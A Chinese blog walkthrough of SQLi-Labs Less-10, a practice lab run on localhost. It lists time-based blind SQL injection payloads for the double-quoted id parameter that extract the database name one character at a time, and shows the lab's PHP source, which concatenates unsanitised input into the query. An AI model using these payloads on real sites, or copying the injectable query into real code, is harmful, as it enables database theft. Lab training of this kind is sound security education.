当前位置: 首页 > news >正文

SQLI LABS | Less-10 GET-Blind-Time based-double quotes

关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客

0x01:过关流程

输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):

 http://localhost/sqli-labs/Less-10/

靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询,那我们就按它的意思传入 id 看看网页返回的结果:

可以看到,服务器返回了 You are in...........,似乎是认可了我们的操作,但是我们并没有获得什么有效的信息。此时,我们可以再输入几个数据进行测试:

 测试 Payload 01: ?id=1   # 结果: You are in...........测试 Payload 02: ?id=2   # 结果: You are in...........测试 Payload 03: ?id=2-1 # 结果: You are in...........测试 Payload 04: ?id=1'  # 结果: You are in...........测试 Payload 05: ?id=1"  # 结果: You are in...........

如上,我们一共测试了 5 个 Payload,后端返回的一直都是 You are in...........,此时我们需要分析一下了。后端常用的 SQL 注入模板中闭合符号一般是 '",只要我们的 Payload 能够逃逸出这两种符号,后端返回的内容多少都会有些异常的。但是从上面的五组 Payload 来看,后端返回的都是一样的数据。如此,会有两种情况:

  1. 目标后端过滤的很好,我们测试的 Payload 都没有成功逃逸出目标的过滤。

  2. 目标后端过滤的不好,它执行了我们传递给它的参数,但是它通过回显欺骗了我们。

这里笔者更倾向第二种,毕竟要是第一种的话,就测不下去啦。面对这种回显都一样的情况,我们可以采用时间盲注,下面是测试的 Payload(时间盲注的 Payload 需要完美闭合才有用哦):

 测试 Payload 01: ?id=1 and sleep(5) --+    # 响应时间: 16ms测试 Payload 02: ?id=1' and sleep(5) --+'  # 响应时间: 35ms测试 Payload 03: ?id=1" and sleep(5) --+"  # 响应时间: 5.12s

可以看到,当我们传递 Payload 03 给服务器后端时,服务器的响应时间明显不正常。根据我们测试的 Payload,我们可以推测出目标后端的 SQL 模板如下:

 select username,password from users where id="$_GET['id']" LIMIT 0,1;

根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击(使用[[0x0304B:SQL 注入 —— 时间盲注|时间盲注]]):

 -- 获取当前服务器正在使用的数据库的名称的长度攻击 Payload: ?id=1" and sleep(if(length(database())=1,5,0)) --+"笔者备注: 当响应时间 >= 5s 时,证明猜测正确,否则猜测错误​-- 以下是攻击成功的 Payload 的示例Payload - 猜测目标数据库名长度: ?id=1" and sleep(if(length(database())=8,5,0)) --+"Payload - 获取数据库第一个字符: ?id=1" and sleep(if(mid(database(),1,1)='s',5,0)) --+"Payload - 获取数据库第二个字符: ?id=1" and sleep(if(mid(database(),2,1)='e',5,0)) --+"....

可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,Less-10 GET-Blind-Time based-double quotes 成功过关。

0x02:源码分析

下面是 SQLI LABS Less-10 GET-Blind-Time based-double quotes 后端的部分源码,以及笔者做的笔记:

 <?php//including the Mysql connect parameters.include("../sql-connections/sqli-connect.php"); // 导入数据库连接函数error_reporting(0);​// take the variablesif (isset($_GET['id'])) {$id = $_GET['id']; // 获取 GET 方式传递的 ID 的值//logging the connection parameters to a file for analysis.$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);​// connectivity ​$id = '"' . $id . '"';  // 给收到的 ID 两边加上 " 号$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; // 后端实际执行的 SQL 语句 SELECT * FROM users WHERE id="$_GET['id']" LIMIT 0,1$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);​if ($row) { // 如果成功查询到值,返回 You are inecho '<font size="5" color="#FFFF00">';echo 'You are in...........';echo "<br>";echo "</font>";} else {    // 如果没有查询到值,也回显 You are inecho '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysqli_error($con1));//echo "You have an error in your SQL syntax";echo "</br></font>";echo '<font color= "#0000ff" font size= 3>';}} else {echo "Please input the ID as parameter with numeric value";}?>


http://www.mrgr.cn/news/58764.html

相关文章:

  • vue3+vue-baidu-map-3x 实现地图定位
  • 实现prometheus+grafana的监控部署
  • fastGpt
  • 纳斯达克大屏投放:为什么越来越多的企业要投放纳斯达克户外广告
  • HCIP-HarmonyOS Application Developer 习题(十八)
  • 如何对pdf文件进行加密?pdf文件加密全攻略与深度解析(5个方法)
  • DOSBox汇编编译准备工作及初步编译
  • snmptranslate样例
  • Python流程控制专题:循环与else
  • 瞬间升级!电子文档华丽变身在线题库,效率翻倍✨
  • bug-JavaArrays.fill()隐藏问题
  • Golang | Leetcode Golang题解之第508题出现次数最多的子树元素和
  • 同时支持10m 100m 1000m的phy设备驱动
  • Java进阶篇设计模式之一 ----- 单例模式
  • 【必收藏】史上最全AI工具大盘点!一篇搞定所有需求
  • 经常聊架构模式,设计模式,编程模式,也谈谈“反模式”
  • Python游戏开发超详细第二课/一个小游戏等制作过程(入门级篇共2节)
  • 雷赛DMC5X10系列控制卡——机械原点和工作原点原理
  • 数学证明相关的矩分析。
  • 查缺补漏----CPU,主存数据传送
  • masm 6.15下载及DOSBox自动挂载
  • redo log 日志 与 undo log 日志工作原理
  • 【 IC每日一题】
  • 数据结构------手撕顺序表
  • 深入解析 Lombok 的实现原理:以 @Builder 为例的实战演示(三)
  • 计算机毕业设计Python+大模型微博情感分析 微博舆情预测 微博爬虫 微博大数据 舆情分析系统 大数据毕业设计 NLP文本分类 机器学习 深度学习 AI